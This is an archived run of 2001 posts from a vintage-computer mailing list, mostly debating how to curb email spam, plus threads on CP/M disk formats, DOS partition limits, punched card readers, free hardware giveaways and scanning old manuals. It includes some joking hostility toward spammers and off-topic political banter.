References: <3B3296A5.1EADF28C@mindless.com> Message-ID: <001101c0fb24$fd56ea20$9cc762d8@idcomm.com> The folks in California have, over the course of the last 50 years, proven that you can't legislate good sense. All the well-intentioned legislative attempts to "fix" what's a world-view problem have failed. Look at the illegal immigration issue. Look at the effects of their tax limitation program. Look at the energy cost deregulation debacle. Every time the gov gets in, the costs go up. What's needs to be done is SOMETHING that is part of the internet, not part of U.S. law. The majority of the SPAM I receive is not only from foreign hosts, but in languages I can't read. I most often don't even have the required character set loaded up. U.S. law won' have any impact outside the U.S. We can consider laws to regulate internet behavior when we successfully implement a system of laws that regulates social behavior within our country. In the meantime, let's keep the GOV out of our internet. All they'll do is limit our ability to use the thing. They won't make it work better. What's needed is a way to identify bulk mailings of all sorts, so that the sender can be charged proportionally to his/her bandwidth consumption. That's the REAL problem with SPAM. It steals bandwidth. Loss of this bandwidth will inevitably result in all of us having to pay for the bandwidth we use. That will result in the very people who should be using the internet using it less because it costs more to use it more. The bandwidth cost has to be structured such that high-volume uses pay MORE not less. Just like electrical power users, the use of more than a typical small household requires should be penalized with higher rates ... MUCH higher rates ... rather than lower rates as a reward for wasting more. ----- Original Message ----- From: "Ross Archer" To: Sent: Thursday, June 21, 2001 6:51 PM Subject: Re: Wave of the Future (Spam) > > > Steve Robertson wrote: > > > > > > >I agree with Tony here, in that there has to be a valid application for the > > >features of email that so many SPAMmers have exploited. However, if you > > >want to do away with bulk email, something's got to be done. This means > > >somebody, somewhere, will lose. Perhaps, if unsolicited bulk mailings were > > >just easier to recognize ... > > > > I know I'm replying to the wrong message, but can't find the original. > > Fix Federal law, like they did to stop bulk FAXes. Being able to > identify the spammer is indeed 90% of the battle. People tend to > be far less obnoxious when you know where they live, even if only > in cyberspace. > > Impose a stiff fine, with teeth, for any spam mailer found to be using > a bogus return address, and a greatly enhanced fine for using a valid address > that is not theirs, and allow the legitimate holder of the address the right > to sue for damages if they get hate mail. > > Require that a human being, not an autoresponder, be reachable at the UCE mail's > > return address, and spot check to make sure they're reading and responding > periodically. Bounced messages could be forwarded directly to some department > of the FTC or Justice Department to track down the origin. It would be a huge > job, > but at least for US-based spammers, it might deter truly obnoxious behavior. > (Most ISPs would (80?)86 a client with huge mailboxes overflowing with > complaints.) > > To work, I guess it would have to be a net revenue generator. > It probably wouldn't work but maybe it would silence or reform the > worst offenders. > > Just some idle thoughts. I'm sure holes will be shot through starting > immediately. :-) > > > > > > > > > > > > > > Since I can't keep SPAM out of my (snail) mailbox and I can't keep SPAM off > > of my phone (unsolicited calls), I really don't have any expectations about > > keeping it out of my email. > > > > With the costs being so low, I'm surprised we (Internet users) don't get a > > whole lot more SPAM. > > > > SteveRob > > _________________________________________________________________ > > Get your FREE download of MSN Explorer at http://explorer.msn.com > > From rmeenaks at olf.com Fri Jun 22 09:10:40 2001 From: rmeenaks at olf.com (Ram Meenakshisundaram) Date: Sun Feb 27 19:04:42 2005 Subject: More free stuff... Message-ID: <3B3351E0.20C96E34@olf.com> 5 to 6 ISA 3COM Ethernet cards 1 EPP Parallel Port ISA card (Brand New, never opened) 5-1/4 inch drive & 3-1/2 inch drive If not claimed, out to the dumpster it goes. Shipping/Pickup from Long Island, NY Ram -- ,,,, /'^'\ ( o o ) -oOOO--(_)--OOOo------------------------------------- | Ram Meenakshisundaram | | Senior Software Engineer | | OpenLink Financial Inc | | .oooO Phone: (516) 227-6600 x267 | | ( ) Oooo. Email: rmeenaks@olf.com | ---\ (----( )-------------------------------------- \_) ) / (_/ From geneb at deltasoft.com Fri Jun 22 09:19:53 2001 From: geneb at deltasoft.com (Gene Buckle) Date: Sun Feb 27 19:04:42 2005 Subject: Wave of the Future (Spam) In-Reply-To: Message-ID: > >> One of my friends is a spammer, and what he does is setup a whole new > >> "persona" for each email blitz. Cost of doing business as far as he is > >> concerned. > > > >Can I have your friend's home address? > > He is a 6'8" 260 lb merchant marine, do you REALLY want to knock on his > door and explain what a naughty spammer he is? > Naw. I'd prefer a confrontation at 800yds with a Barrett M2. g. From edick at idcomm.com Fri Jun 22 09:20:33 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:42 2005 Subject: Question about Intel disk formats References: <3.0.5.32.20010621175500.007b38b0@yellow.ucdavis.edu> Message-ID: <001701c0fb26$7f9564c0$9cc762d8@idcomm.com> If it is CP/M standard format, it should be IBM3740 formatted single-density. There are lots of other formats that work under CP/M though. I've never seen a format with an identifying signature that was recognizable on another system. However, since different systems have different controllers, they use different approaches to using that controller. Interleaving rates are a common inconsistency between systems, but 4 is a common interleave for double-density with a 4 MHz Z80. You can get some insight into the way data layout is implemented if you look at the directory track (track 2). If there's a recognizable file name, then you can rigorously search for the data that comprises that file by searching the entire diskette. If you don't have the interleave, it doesn't matter, since directory entries are in 128-byte sectors, derived from the Single Density format. All you need is the name of a widely known standard file, e.g. PIP.COM. You then find the file contents, bit by bit, and keep records of where you found each 128-byte block of the file, and then divine the sector layout from that. It's not fun, but you only have to do it once. Good luck! Dick ----- Original Message ----- From: "Edwin P. Groot" To: Sent: Thursday, June 21, 2001 6:55 PM Subject: Re: Question about Intel disk formats > If it is CP/M format, the first track should be SD, whether or not the > disk is formatted DD. That's how it is in the CP/M systems I have. I > figure you should at least be able to read the first track and hopefully > there would be a signature of what machine it's from. What I would not > know is what interleave factor to use for the sector ordering; it seems to > vary from machine to machine. Start with the original IBM SSSD structure. > > Edwin > > At 08:31 PM 6/20/2001 -0700, you wrote: > > > > > >The disks I am trying to access are supposedly CP/M, but the labelling > >indicates they were perhaps used on an Intel development system (they have > >filenames on the label with ".HEX" file types; this may not mean > >anything). If this is the case, and they were formatted on an Intel MDS > >(and therefore M2FM), and since they are double-density, then I may not be > >able to read them with the machines I have. > > > >However, I want to check their format on some CP/M machine and see if > >perhaps I can read them. If so, then they are probably more standard DD > >formatted diskettes, maybe even CP/M since that is what I was told they > >are. > > > >Suggestions appreciated. > > > >Sellam Ismail Vintage Computer > Festival > >--------------------------------------------------------------------------- > --- > >International Man of Intrigue and Danger > http://www.vintage.org > > > > > > From edick at idcomm.com Fri Jun 22 09:23:24 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:42 2005 Subject: What's best to do?? classically speaking References: Message-ID: <002101c0fb26$e5fd84e0$9cc762d8@idcomm.com> Yes, Compaq was the source of v3.31. That was, as you point out, an early "large"-disk-volume-capable version. I swiped a version from one of the Compaq's with which I had frequent contact, and happily used it with ESDI drives for years. Dick ----- Original Message ----- From: "Jeff Hellige" To: Sent: Thursday, June 21, 2001 7:42 PM Subject: Re: What's best to do?? classically speaking > >On Thu, 21 Jun 2001, joe wrote:> One of the nice > >> things about the P IIIs is that they have a very extensive drive table in > >> the BIOS so you can install a LOT bigger hard drive. > > > >If you are running DOS 3.3[0], then you can't easily exceed 32M per drive > >letter. If you are running 3.31 or above, then you can go up to 500M. > > There were some OEM versions of 3.3 that allowed greater than > 32meg per partition, notably Zenith's 3.3+. Is the 3.31 with 500meg > partitons a Compaq-specific item? With the exception of Zenith, I > thought the 32meg partition barrier wasn't broken until DOS 4? Not > that I'd ever recomend the use of PC-DOS 4 to anyone.....buggy as all > heck.... > > Jeff > -- > Collector of Classic Microcomputers and Video Game Systems: > Home of the TRS-80 Model 2000 FAQ File > http://www.geocities.com/siliconvalley/lakes/6757 > > From edick at idcomm.com Fri Jun 22 09:26:36 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:42 2005 Subject: Wave of the Future (Spam) References: <4.3.2.7.0.20010622063848.01e48c10@pc> Message-ID: <003701c0fb27$582526e0$9cc762d8@idcomm.com> Yes, I ditched my fax machine in favor of software FAX handling in order to save a forest or two. I recently discontinued the FAX altogether since I use it so seldom. Dick ----- Original Message ----- From: "John Foust" To: Sent: Friday, June 22, 2001 5:40 AM Subject: Re: Wave of the Future (Spam) > At 05:51 PM 6/21/01 -0700, Ross Archer wrote: > >Fix Federal law, like they did to stop bulk FAXes. Being able to > >identify the spammer is indeed 90% of the battle. > > Ho ho ho. You should see the garbage can next to my fax > machine. I'm still getting junk faxes and telemarketing > calls for imaginary employees we registered at trade shows > in order to use up all the badges we were allocated. > > - John > > From edick at idcomm.com Fri Jun 22 09:29:36 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:42 2005 Subject: Wave of the Future (Spam) References: <1517.573T1650T1645727optimus@canit.se> Message-ID: <003d01c0fb27$c3a8f4a0$9cc762d8@idcomm.com> It's not grassroots capitalism, but it is human nature. If you could get someone else to pay your electric bill, wouldn't you use it, at least so long as it was legal? Capitalism is not evil. Letting others take a free ride at your (and others') expense because it's easier to allow it than to prevent it is what's evil. Dick ----- Original Message ----- From: "Iggy Drougge" To: "Richard Erlacher" Sent: Thursday, June 21, 2001 7:44 PM Subject: Re: Wave of the Future (Spam) > Richard Erlacher skrev: > > >If I ever want to send several people the same email, which I've not yet > >done, after about 10 years of internetting, I'd simply write a script to do > >that. > > I do that each and every day. Friend A and Friend B are both usergroup > members and our interests overlap quite well, so bouncing messages between the > three of us comes natural. > > >It should be a requirement for an email message to get through even ONE > >server beyond its point of origin, that the message have the real point of > >origin in it and that the point of origin be listed in the text of the > >message as well as in the header. Any message in which the originator is not > >named and traceable via FINGER, with a validated account, can simply be > >dropped. It is easy enough to reject unwanted mail, provided you have a list > >of acceptable sources. > > My provider dropped finger a while ago due to security holes in their d?mon, > unfortunately. Most "modern" providers wouldn't even know what finger was. > > >If you don't want to surrender your anonymity, we'll simply all have to put > >up with the SPAM. Now, I get a bit of SPAM from time to time, maybe as much > >as 20% of my mail, but it's pretty easy to recognize and delete. What annoys > >me is that it takes more bandwidth to reject the stuff than simply to delete > >it. > > What annoys me is that we didn't have this a few years ago. This is evil > grass-roots capitalism at its worst. > > -- > En ligne avec Thor 2.6a. > > optimus@dec:foo$ make love > make: don't know how to make love. Stop > > From phil at ultimate.com Fri Jun 22 09:45:26 2001 From: phil at ultimate.com (Phil Budne) Date: Sun Feb 27 19:04:42 2005 Subject: Punched card readers Message-ID: <200106221445.f5MEjQqM010874@ultimate.com> > Does anyone know where to find a punched card reader > these days? I'm looking for a small desktop unit that > I could interface to a PC. In the 1976-1978 timeframe my high school leased a desktop reader made by H-P which would read either mark-sense or punched cards, and output serial data. It was hooked up in tandem with an ASR33 Teletype for access to a TOPS-10 timesharing system (BOCES NCODE on Long Island). It made a goose like "honk" each time it read a card. From edick at idcomm.com Fri Jun 22 09:51:07 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:42 2005 Subject: Wave of the Future (Spam) References: <005101c0fa6a$4af32520$9cc762d8@idcomm.com> <4.3.2.7.0.20010622081925.01f98770@pc> Message-ID: <004901c0fb2a$c53bc240$9cc762d8@idcomm.com> That's absolutely correct! It's tough finding a solution that works at all, and finding one that works correctly will be VERY difficult. Ultimately, the only fair way to bill for internet use, above and beyond the basics of providing the connection, will be on the basis of bandwidth used. SPAM ultimately will have to be traceable because nobody will want to pay for unsolicited mail. SPAM is a nuissance, but it's not any worse than the 450KB cutesey greeting card that grandma sends to all her grandchildren, and the cute or funny cartoon that gets sent to everybody in your address book because you think it's so funny. I frequently exhort my friends/relatives not to do that sort of thing because of the bandwidth cost. SPAMmers got smart early on in the "internet revolution" in that they knew that it would ultimately come down to a cost per bit. They use email because their local server doesn't have to send an individual mail to each addressee. The router to which it is sent by his local host does that, and, in fact, it's possible to have a router downstream of that one do the dirty work. They know that it will eventually come down to the cost per bit, so they set things up to have someone else pay that cost. That's what I view as wrong. WE are the ones who pay for SPAM, and WE are not the ones who want it that way. Perhaps rewriting the email protocols can fix that, but the place it has to be worked out is in the IP/ICMP pair, among others, and in the TCP/UDP pair. Tracking the actual bandwidth used by a SPAMmed message probably will involve tunnelling protocols, which are normally avoided in order to preserve the layered architecture. My own experience with SPAM has shown me that even the application layer doesn't generally become aware of the actual source of the mass-mailing. Nevertheless, the challenge is to find that source and pass the cost back to him. It's not a priority today, because we're not charged by the bit. People are charged for bandwidth usage in some countries, however, so it's just a matter of time. Dick ----- Original Message ----- From: "John Foust" To: Sent: Friday, June 22, 2001 7:29 AM Subject: Re: Wave of the Future (Spam) > At 11:15 PM 6/21/01 -0700, Mike Ford wrote: > >What allows spam to happen is that most users pay the costs of all incoming > >mail, and spammers pay little of the cost of sending it. Turn that around, > >so that the bulk of internet support costs come from charges related to > >bytes sent, and spam becomes MUCH less attractive. > > Why blame e-mail? > > If everyone is paying extra based on their outgoing traffic, > suddenly web servers cost more for the people hosting them. > Hosting already costs considerably more than one person's dial-up. > > Or mailing lists, for that matter. What's the real difference > between a mailing list and a spammer? Content? Opt-in? Change the > economics of the net, it'll change the net, and not necessarily > the parts you want to change. Start ripping on traffic based > on its content, and next it'll be restrictions on that nasty porn > or those terrible violent videogames, or extra "sin" taxes on > tobacco, gun, or alcohol web sites. > > A long time ago, A.C. Clarke predicted / hoped that in 2000, > all telephone calls would be ten cents, worldwide, and that > you could call anywhere for that flat price. For that matter, > flat one-shot pricing is what made local BBSes succeed. > Tinker carefully. > > - John > > From edick at idcomm.com Fri Jun 22 09:56:46 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:42 2005 Subject: Wave of the Future (Spam) References: Message-ID: <005701c0fb2b$8f004920$9cc762d8@idcomm.com> As I've suggested before, the SPAMming isn't the evil involved here. It's our own complacency in tolerating the theft of bandwidth that SPAMming represents. It doesn't matter today, but it will, absolutely, matter soon. Bulk mail, whether in the snail-mail, or in email, is an effort to communicate. It sends information to people who didn't ask for it, often because they weren't even aware of the subject's existence. It's no different with SPAM. Sometimes ... rarely, for sure, but sometimes ... there's actually something of use in the SPAM. Perhaps I wouldn't miss it, but once in a long while I do learn about something that I find of use. Dick ----- Original Message ----- From: "Gene Buckle" To: Sent: Friday, June 22, 2001 8:19 AM Subject: Re: Wave of the Future (Spam) > > >> One of my friends is a spammer, and what he does is setup a whole new > > >> "persona" for each email blitz. Cost of doing business as far as he is > > >> concerned. > > > > > >Can I have your friend's home address? > > > > He is a 6'8" 260 lb merchant marine, do you REALLY want to knock on his > > door and explain what a naughty spammer he is? > > > Naw. I'd prefer a confrontation at 800yds with a Barrett M2. > > g. > > > From chomko at greenbelt.com Fri Jun 22 10:04:27 2001 From: chomko at greenbelt.com (Eric Chomko) Date: Sun Feb 27 19:04:42 2005 Subject: Wave of the Future (Spam) References: Message-ID: <3B335E7B.A0471A79@greenbelt.com> Mike Ford wrote: > >>One of my friends is a spammer, > > > >[snip] > > > >And he's still your friend? > > > >*sigh* > > Sainthood isn't one of my requirements for friendship. IMHO spamming isn't > much more than a minor lapse of business ethics, really more of a case of > poor judgement. Its not like he is a democrat or something. Ouch! And you're a troll! Nixon was a Republican. I rest my case. Eric From mmcfadden at cmh.edu Fri Jun 22 10:16:50 2001 From: mmcfadden at cmh.edu (McFadden, Mike) Date: Sun Feb 27 19:04:42 2005 Subject: O/T Spark Gap Transmitters was: Interest in UUCP? Message-ID: **WARNING** Possible humor or not! :) I thought that the FCC was being outsourced to the lowest bidder and that it was a company in former Yugoslavia that was a large campaign contributor. Mike mmcfadden@cmh.edu From mmcfadden at cmh.edu Fri Jun 22 10:33:31 2001 From: mmcfadden at cmh.edu (McFadden, Mike) Date: Sun Feb 27 19:04:42 2005 Subject: Wave of the Future (Spam)(further OT) Message-ID: Interesting snail-mail postal spammer tidbits. My mother is a big enemy of regular snail-mail SPAM, she usually sends back the postage prepaid envelopes taped to all of the paper mail it came with. I believe that the postal service collects a fee for processing the prepaid envelopes on top of the postage. The only reason the SPAMMERS like it is that they normally only pay postage on the recipients that show some interest. If they get alot back that cost them they loose money. Maybe she should tape the postage prepaid envelope to a brick and return it. Mike mmcfadden@cmh.edu From rmeenaks at olf.com Fri Jun 22 10:36:49 2001 From: rmeenaks at olf.com (Ram Meenakshisundaram) Date: Sun Feb 27 19:04:42 2005 Subject: More free stuff... References: <3B3351E0.20C96E34@olf.com> Message-ID: <3B336610.352EB88D@olf.com> Ram Meenakshisundaram wrote: > 5 to 6 ISA 3COM Ethernet cards > 1 EPP Parallel Port ISA card (Brand New, never opened) > > 5-1/4 inch drive & 3-1/2 inch drive > > If not claimed, out to the dumpster it goes. Shipping/Pickup from Long > Island, NY > > Ram > Have been claimed.... Ram -- ,,,, /'^'\ ( o o ) -oOOO--(_)--OOOo------------------------------------- | Ram Meenakshisundaram | | Senior Software Engineer | | OpenLink Financial Inc | | .oooO Phone: (516) 227-6600 x267 | | ( ) Oooo. Email: rmeenaks@olf.com | ---\ (----( )-------------------------------------- \_) ) / (_/ From foo at siconic.com Fri Jun 22 09:40:42 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:42 2005 Subject: Wave of the Future (Spam) In-Reply-To: Message-ID: On Thu, 21 Jun 2001, Mike Ford wrote: > And how hard do you suppose it would be for someone to make it LOOK > extremely like an innocent person was spamming? Genenrally, more than one form of evidence is necessary to convict anyone for anything (except traffic tickets). > What allows spam to happen is that most users pay the costs of all > incoming mail, and spammers pay little of the cost of sending it. Turn > that around, so that the bulk of internet support costs come from > charges related to bytes sent, and spam becomes MUCH less attractive. Immersing the nutsacks of spammers who get caught in scalding water would be more effective. > I don't see spam as a long term problem though. Oh? I see it growing. Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From foo at siconic.com Fri Jun 22 09:42:06 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:42 2005 Subject: Wave of the Future (Spam) In-Reply-To: Message-ID: On Fri, 22 Jun 2001, Mike Ford wrote: > >> One of my friends is a spammer, and what he does is setup a whole new > >> "persona" for each email blitz. Cost of doing business as far as he is > >> concerned. > > > >Can I have your friend's home address? > > He is a 6'8" 260 lb merchant marine, do you REALLY want to knock on his > door and explain what a naughty spammer he is? One good kick to the nuts is all it takes. Sure, send the address on over :) Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From marvin at rain.org Fri Jun 22 10:43:36 2001 From: marvin at rain.org (Marvin) Date: Sun Feb 27 19:04:42 2005 Subject: Natural/Entire Connection Software References: <200106221445.f5MEjQqM010874@ultimate.com> Message-ID: <3B3367A8.4F1F2BFA@rain.org> Another "I don't know what it is" set of software. The titles are "Entire Connection for Windows" version 2.2, and two unopened packages "Natural Connection for Dos". If anyone wants these, free plus $3.50 Priority Mail shipping. From foo at siconic.com Fri Jun 22 09:47:48 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:42 2005 Subject: preserving / ressurecting old docs? In-Reply-To: <20010622133137.62013.qmail@web9507.mail.yahoo.com> Message-ID: On Fri, 22 Jun 2001, Ethan Dicks wrote: > Talk to Doug Jones. He recommends dismantling the book carefully > for the best quality copies/scans. The idea here is that the > information in its copied format is more valuable than the slivers > of dead trees that it currently resides on. Yes, books are a > valuable resource, but these are not unique books - they are > reference works that were published by the thousands. Once in > digital form, they are trivial to disseminate in a way that > is impossible for the originals. I completely recommend AGAINST destroying the original. Not only is it in some cases a historical artifact on its own, if the digital copy were ever to be lost then you're SOL. Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From rdd at smart.net Fri Jun 22 11:00:25 2001 From: rdd at smart.net (R. D. Davis) Date: Sun Feb 27 19:04:42 2005 Subject: U.S. of Yugo (was: O/T Spark Gap Transmitters) In-Reply-To: Message-ID: On Fri, 22 Jun 2001, McFadden, Mike wrote: > **WARNING** > Possible humor or not! :) > I thought that the FCC was being outsourced to the lowest bidder and that it > was a company in former Yugoslavia that was a large campaign contributor. Are you sure? The last I heard, it was not only the FCC, but the entire government, including local governments in the U.S.---which happened some time ago, which, of course, explains why the government here runs like a Yugo. -- Copyright (C) 2001 R. D. Davis The difference between humans & other animals: All Rights Reserved an unnatural belief that we're above Nature & rdd@perqlogic.com 410-744-4900 her other creatures, using dogma to justify such http://www.perqlogic.com beliefs and to justify much human cruelty. From brian.roth at firstniagarabank.com Fri Jun 22 10:51:32 2001 From: brian.roth at firstniagarabank.com (brian roth) Date: Sun Feb 27 19:04:42 2005 Subject: Boom cars (ot for sure...) Message-ID: Great stories and suggestions but I like Marvins transmitter idea the best. My son and I will work on it this weekend. He has a big sound tube in his car. Since he was raised to respect other peoples rights he just uses it to enhance the quality of sound in his car. Now it will be our laboratory. I had an idiot behind me halfway to work today. He just looked around to see who he was pissing off as he drove. I can't wait to get a working prototype. For all those that think I am a sound prude, I am not. Music is my second life. I play guitar and listen to everything from the LA guitar quartet to Social Distortion. I like to listen to my music but I don't feel I should make others listen to it against their will. Let the jamming begin..... Brian. Brian Roth Network Services First Niagara Bank (716) 625-7500 X2186 Brian.Roth@FirstNiagaraBank.com From rdd at smart.net Fri Jun 22 11:03:36 2001 From: rdd at smart.net (R. D. Davis) Date: Sun Feb 27 19:04:42 2005 Subject: Wave of the Future (Spam)(further OT) In-Reply-To: Message-ID: On Fri, 22 Jun 2001, McFadden, Mike wrote: > interest. If they get alot back that cost them they loose money. Maybe she > should tape the postage prepaid envelope to a brick and return it. Might not be a bad idea to just fill the envelopes with stones... or, better yet, as much Spam as they'll hold. -- Copyright (C) 2001 R. D. Davis The difference between humans & other animals: All Rights Reserved an unnatural belief that we're above Nature & rdd@perqlogic.com 410-744-4900 her other creatures, using dogma to justify such http://www.perqlogic.com beliefs and to justify much human cruelty. From mark at cs.ualberta.ca Fri Jun 22 10:57:27 2001 From: mark at cs.ualberta.ca (Mark Green) Date: Sun Feb 27 19:04:42 2005 Subject: Punched card readers In-Reply-To: <200106221445.f5MEjQqM010874@ultimate.com> from Phil Budne at "Jun 22, 2001 10:45:26 am" Message-ID: <20010622155728Z558919-16188+1799@sunkay.cs.ualberta.ca> > > Does anyone know where to find a punched card reader > > these days? I'm looking for a small desktop unit that > > I could interface to a PC. > > In the 1976-1978 timeframe my high school leased a desktop reader made > by H-P which would read either mark-sense or punched cards, and output > serial data. It was hooked up in tandem with an ASR33 Teletype for > access to a TOPS-10 timesharing system (BOCES NCODE on Long Island). > > It made a goose like "honk" each time it read a card. > I remember those, we had one on an HP2100. They were very nice when they were working. They needed to re-aligned every few months. Ours got very heavy usage in a University laboratory. I believe ours had a parallel interface, but I suspect they had several interfaces to the same mechanism. -- Dr. Mark Green mark@cs.ualberta.ca McCalla Professor (780) 492-4584 Department of Computing Science (780) 492-1071 (FAX) University of Alberta, Edmonton, Alberta, T6G 2H1, Canada From rdd at smart.net Fri Jun 22 11:12:31 2001 From: rdd at smart.net (R. D. Davis) Date: Sun Feb 27 19:04:42 2005 Subject: Wave of the Future (Spam) In-Reply-To: <3B335E7B.A0471A79@greenbelt.com> Message-ID: On Fri, 22 Jun 2001, Eric Chomko wrote: > Ouch! And you're a troll! Nixon was a Republican. I rest my case. Your point is? Remember, the Clintons are Democrats. Democrats and Reublicans are both alike in that they all revere one thing: political power at any cost, and enjoy it all the more when it's at the expense of their serfs^H^H^H^H^Htaxpayers. -- Copyright (C) 2001 R. D. Davis The difference between humans & other animals: All Rights Reserved an unnatural belief that we're above Nature & rdd@perqlogic.com 410-744-4900 her other creatures, using dogma to justify such http://www.perqlogic.com beliefs and to justify much human cruelty. From dogas at bellsouth.net Fri Jun 22 11:02:12 2001 From: dogas at bellsouth.net (Mike) Date: Sun Feb 27 19:04:42 2005 Subject: MetaSpam... was Re: Wave of the Future (Spam) References: Message-ID: <001801c0fb34$b43e0b10$dd19d7d1@DOMAIN> I've received more messages complaning about spam from this list than I have actual spam this last month... ;) - Mike: dogas@bellsouth.net From lemay at cs.umn.edu Fri Jun 22 11:19:39 2001 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 19:04:43 2005 Subject: Punched card readers In-Reply-To: <7A9BACCEF0171D4FB77019F5104CDD371511E3@jeffserver.tegjeff.com> "from Douglas Quebbeman at Jun 22, 2001 07:43:15 am" Message-ID: <200106221619.LAA18025@caesar.cs.umn.edu> > > Does anyone know where to find a punched card reader > > these days? I'm looking for a small desktop unit that > > I could interface to a PC. > > I would be thinking that a sh*tload of them will be > available in Florida soon, as they have clearly > outlived their political acceptableness. > > If any Floridian listers get a line on these (mostly > Documation readers, possibly various models) when > they become available, I'd like to try to get one, > particularly if Pr1me-color-schemed units are among > them. Does anyone have Docs for the Documation punch card readers? I'd like to hook one up to a PDP 8/e or 11, but i'm concerned about finding or making the proper interface cable. I think the documation card readers used a strange (to me, at least) interface connector that i'm not sure is available anymore, plus I dont have the information necessary to create the cable. I would prefer to connect one to a 8/E, but I dont know of a source for a omnibus card reader interface board. -Lawrence LeMay lemay@cs.umn.edu From spectre at stockholm.ptloma.edu Fri Jun 22 11:23:11 2001 From: spectre at stockholm.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 19:04:43 2005 Subject: U.S. of Yugo (was: O/T Spark Gap Transmitters) In-Reply-To: from "R. D. Davis" at "Jun 22, 1 12:00:25 pm" Message-ID: <200106221623.JAA10104@stockholm.ptloma.edu> > > Possible humor or not! :) > > I thought that the FCC was being outsourced to the lowest bidder and that > > it was a company in former Yugoslavia that was a large campaign > > contributor. > Are you sure? The last I heard, it was not only the FCC, but the > entire government, including local governments in the U.S.---which > happened some time ago, which, of course, explains why the government > here runs like a Yugo. Guy in a repair shop: "I'd like a rear view mirror for my Yugo." Proprietor thinks about it, then says, "Yeah, sounds like a fair trade to me." (ba dum pum) -- ----------------------------- personal page: http://www.armory.com/~spectre/ -- Cameron Kaiser, Point Loma Nazarene University * ckaiser@stockholm.ptloma.edu -- His mind is like a steel trap -- full of mice. -- Foghorn Leghorn ---------- From spectre at stockholm.ptloma.edu Fri Jun 22 11:24:19 2001 From: spectre at stockholm.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 19:04:43 2005 Subject: Wave of the Future (Spam)(further OT) In-Reply-To: from "R. D. Davis" at "Jun 22, 1 12:03:36 pm" Message-ID: <200106221624.JAA10124@stockholm.ptloma.edu> > > interest. If they get alot back that cost them they loose money. Maybe > > she should tape the postage prepaid envelope to a brick and return it. > Might not be a bad idea to just fill the envelopes with stones... or, > better yet, as much Spam as they'll hold. Sorry, violation of postal service hazardous waste regulations. -- ----------------------------- personal page: http://www.armory.com/~spectre/ -- Cameron Kaiser, Point Loma Nazarene University * ckaiser@stockholm.ptloma.edu -- There's a sucker born every minute. -- P. T. Barnum ------------------------ From ecloud at bigfoot.com Fri Jun 22 11:31:17 2001 From: ecloud at bigfoot.com (Shawn T. Rutledge) Date: Sun Feb 27 19:04:43 2005 Subject: More free stuff... In-Reply-To: <3B3351E0.20C96E34@olf.com>; from rmeenaks@olf.com on Fri, Jun 22, 2001 at 10:10:40AM -0400 References: <3B3351E0.20C96E34@olf.com> Message-ID: <20010622093117.K3760@cx47646-a.phnx1.az.home.com> On Fri, Jun 22, 2001 at 10:10:40AM -0400, Ram Meenakshisundaram wrote: > 5 to 6 ISA 3COM Ethernet cards I hope these are 3c509's, not older ones? > 1 EPP Parallel Port ISA card (Brand New, never opened) > > 5-1/4 inch drive & 3-1/2 inch drive > > If not claimed, out to the dumpster it goes. Shipping/Pickup from Long > Island, NY Sure I could use everything but the 5 1/4" drive. You could probably put it all in the large Priority Mail box. I can send you shipping via PayPal. -- _______ Shawn T. Rutledge / KB7PWD ecloud@bigfoot.com (_ | |_) http://www.bigfoot.com/~ecloud kb7pwd@kb7pwd.ampr.org __) | | \________________________________________________________________ From spectre at stockholm.ptloma.edu Fri Jun 22 11:37:19 2001 From: spectre at stockholm.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 19:04:43 2005 Subject: Wave of the Future (Spam) In-Reply-To: from "R. D. Davis" at "Jun 22, 1 12:12:31 pm" Message-ID: <200106221637.JAA08962@stockholm.ptloma.edu> > > Ouch! And you're a troll! Nixon was a Republican. I rest my case. > Your point is? Remember, the Clintons are Democrats. Democrats and > Reublicans are both alike in that they all revere one thing: political > power at any cost, and enjoy it all the more when it's at the expense > of their serfs^H^H^H^H^Htaxpayers. Okay, then, all libertarians are nuts. Who wants to top this troll? ;-) -- ----------------------------- personal page: http://www.armory.com/~spectre/ -- Cameron Kaiser, Point Loma Nazarene University * ckaiser@stockholm.ptloma.edu -- If G. B. Shaw were a surrealist, he'd be writing plays about ghoti. -------- From healyzh at aracnet.com Fri Jun 22 11:35:30 2001 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 19:04:43 2005 Subject: Punched card readers In-Reply-To: References: <3B328C86.28339.15B66F13@localhost> <3B328C86.28339.15B66F13@localhost> Message-ID: >>Does anyone know where to find a punched card reader >>these days? I'm looking for a small desktop unit that >>I could interface to a PC. > > I know that Harris sold a very small table top unit that was >used by the US Navy with the Harris SNAP-II mini. You might be able >to find one someplace that deals with government surplus. Yes, but wasn't that a single card at a time, and hand fed? Or was there another model? Zane -- | Zane H. Healy | UNIX Systems Administrator | | healyzh@aracnet.com (primary) | OpenVMS Enthusiast | | | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.aracnet.com/~healyzh/ | From Robert_Feldman at jdedwards.com Fri Jun 22 11:33:35 2001 From: Robert_Feldman at jdedwards.com (Feldman, Robert) Date: Sun Feb 27 19:04:43 2005 Subject: preserving / ressurecting old docs? Message-ID: I second the motion. There have been examples recently where major libraries have microfilmed old newspapers, then gotten rid of the originals. Researchers subsequently found that much information had been lost due to such factors as the copies being in B/W while the originals had color, the copies were of poor quality, and the copies were only of the last edition of the day, where news/quotes that had appeared in earlier editions was no longer included (presumably due to pressure from the news subject). For just two examples, see: 